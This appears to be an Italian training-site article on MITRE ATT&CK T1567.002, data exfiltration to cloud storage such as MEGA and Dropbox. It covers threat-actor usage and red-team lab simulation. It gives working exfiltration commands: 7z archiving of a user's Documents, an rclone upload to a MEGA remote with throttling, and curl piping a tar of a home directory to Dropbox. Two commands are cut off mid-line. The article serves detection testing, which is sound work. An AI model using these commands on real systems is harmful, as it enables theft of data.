Iscriviti al webinar gratuito del 20 Ottobre per diventare Ethical Hacker! Scopri di più
Esfiltrazione su Cloud Storage: Exfiltration to Cloud Storage (T1567.002)
La tecnica T1567.002 descrive l'esfiltrazione di dati verso servizi di cloud storage come Dropbox, Google Drive, OneDrive, MEGA o Amazon S3, sfruttati come canale alternativo rispetto all'infrastruttura di command and control. Rientra nella tattica TA0010 (Exfiltration) e rappresenta una fase terminale della kill chain, tipicamente successiva a Collection e Staging.
Il vantaggio operativo per l'attaccante è duplice: da un lato il traffico verso questi servizi è cifrato in TLS e spesso già presente nel baseline aziendale, dall'altro il costo di setup infrastrutturale è nullo. Un account gratuito su MEGA o Dropbox è sufficiente per drenare gigabyte di dati sensibili senza attivare regole di reputation-based blocking.
I numeri raccontano l'ubiquità del pattern: 24 gruppi APT documentati, 15 famiglie malware con capacità native di upload cloud e 3 campagne tracciate — inclusa C0015 dove operatori Conti hanno usato Rclone per drenare share SMB verso MEGA, e Operation Dream Job di Lazarus con dbxcli custom su Dropbox. La stessa varietà si riflette nell'ecosistema criminale: gruppi ransomware come Akira, Medusa Group e Storm-0501 adottano Rclone come tool standard pre-encryption, mentre gruppi state-sponsored come Turla, HAFNIUM e APT41 preferiscono OneDrive per mimetizzarsi nel traffico Microsoft 365 legittimo.
In un ingaggio red team la simulazione di T1567.002 richiede realismo operativo: bisogna riprodurre volumi, timing e scelta di provider coerenti con TTP documentati. Lo strumento di riferimento è Rclone (open source), citato in C0015 e adottato da Akira, Medusa, Storm-0501 ed Ember Bear. La configurazione avviene con rclone config, che permette di registrare un remote verso decine di provider tramite OAuth o API key.
Una catena tipica in laboratorio parte dallo staging locale con compressione e cifratura:
7z a -pP@ssw0rd -mhe=on staging.7z C:\Users\target\Documents
Seguita dall'upload con throttling per evitare picchi di banda evidenti:
rclone copy staging.7z mega:exfil --bwlimit 10M --transfers 4 --multi-thread-streams 4
Il comando osservato in C0015 utilizzava flag come --max-age 2y, --ignore-existing e --auto-confirm per selezionare solo file recenti e sopprimere prompt interattivi — pattern da replicare per test di detection realistici.
Su Linux il flusso alternativo sfrutta utility native. Un approccio living-off-the-land combina tar, gzip e curl verso l'API Dropbox:
tar czf - /home/target | curl -X POST -H "Authorization: Bearer
Dove l'endpoint va sostituito con quello ufficiale dell'API. Mustang Panda ha utilizzato proprio curl per upload su Dropbox, mentre Earth Lusca ha adottato megacmd (open source), il client ufficiale CLI di MEGA che espone comandi come mega-put e mega-mkdir.
Per simulare TTP di gruppi che sfruttano l'ecosistema Microsoft — Turla, Chimera, HAFNIUM, HEXANE, POLONIUM, APT41 — lo strumento naturale è AzCopy (open source, Microsoft), citato esplicitamente in Storm-0501:
azcopy copy "C:\staging*" "
In alternativa PyDrive2 (open source) o script Python con Microsoft Graph SDK (open source) permettono di riprodurre il comportamento di malware come OilBooster e CreepyDrive, che utilizzano Graph API per upload OneDrive.
Per un lab completo è utile predisporre account provider dedicati, un proxy TLS-intercepting come mitmproxy (open source) per validare che le regole DPI del SOC ispezionino correttamente le sessioni, e un generatore di traffico legittimo che stabilisca un baseline realistico prima dell'esercizio.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.